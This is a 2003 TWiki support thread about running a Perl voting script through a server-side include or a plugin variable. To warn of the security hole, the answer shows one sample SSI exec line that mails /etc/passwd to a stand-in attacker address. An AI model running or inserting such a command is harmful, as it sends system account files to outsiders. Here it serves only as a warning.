Question

Is it possible to include a server side include within a topic to call up a perl script? I'll looking to use a perl script for voting that goes beyond PollPlugin and the instructions are to include this tag in a page:

<!--#exec cmd="/virtual/path/to/script/vote.pl datafile"--> 

Can we do something like this in TWiki?

• TWiki version: 01Feb03

-- LynnwoodBrown - 25 May 2003

Answer

You could easily extend the syntax, for example in the commonTagsHandler callback of a Plugin. Please be aware that this would open a severe security hole, e.g.

<!--#exec cmd="/usr/bin/mail badboy@hackercity.com < /etc/passwd"-->

Better to create a new variable (e.g. %VOTESCRIPT%) and execute your script with hardcoded path. Example, not tested:

sub commonTagsHandler
{
### my ( $text, $topic, $web ) = @_;   # do not uncomment, use $_[0], $_[1]... instead

    $_[0] =~ s|%VOTESCRIPT%|`/virtual/path/to/script/vote.pl datafile`|ge;
}

-- PeterThoeny - 25 May 2003

Thanks Peter. I'm sorry to say I don't understand the answer. I don't understand the role of the variable nor where to place this bit of code. Getting in over my head again...

-- LynnwoodBrown - 26 May 2003

Place the variable in a topic where you want the poll action; place the code (just the $_[0] =~ ... line) inside the commonTagsHandler function of a Plugin, e.g. the DefaultPlugin.

Another approach: In case your script is a cgi-script, do a server side include like %INCLUDE{"http://yourdomain.com/path/to/your/script.pl"}%

-- PeterThoeny - 26 May 2003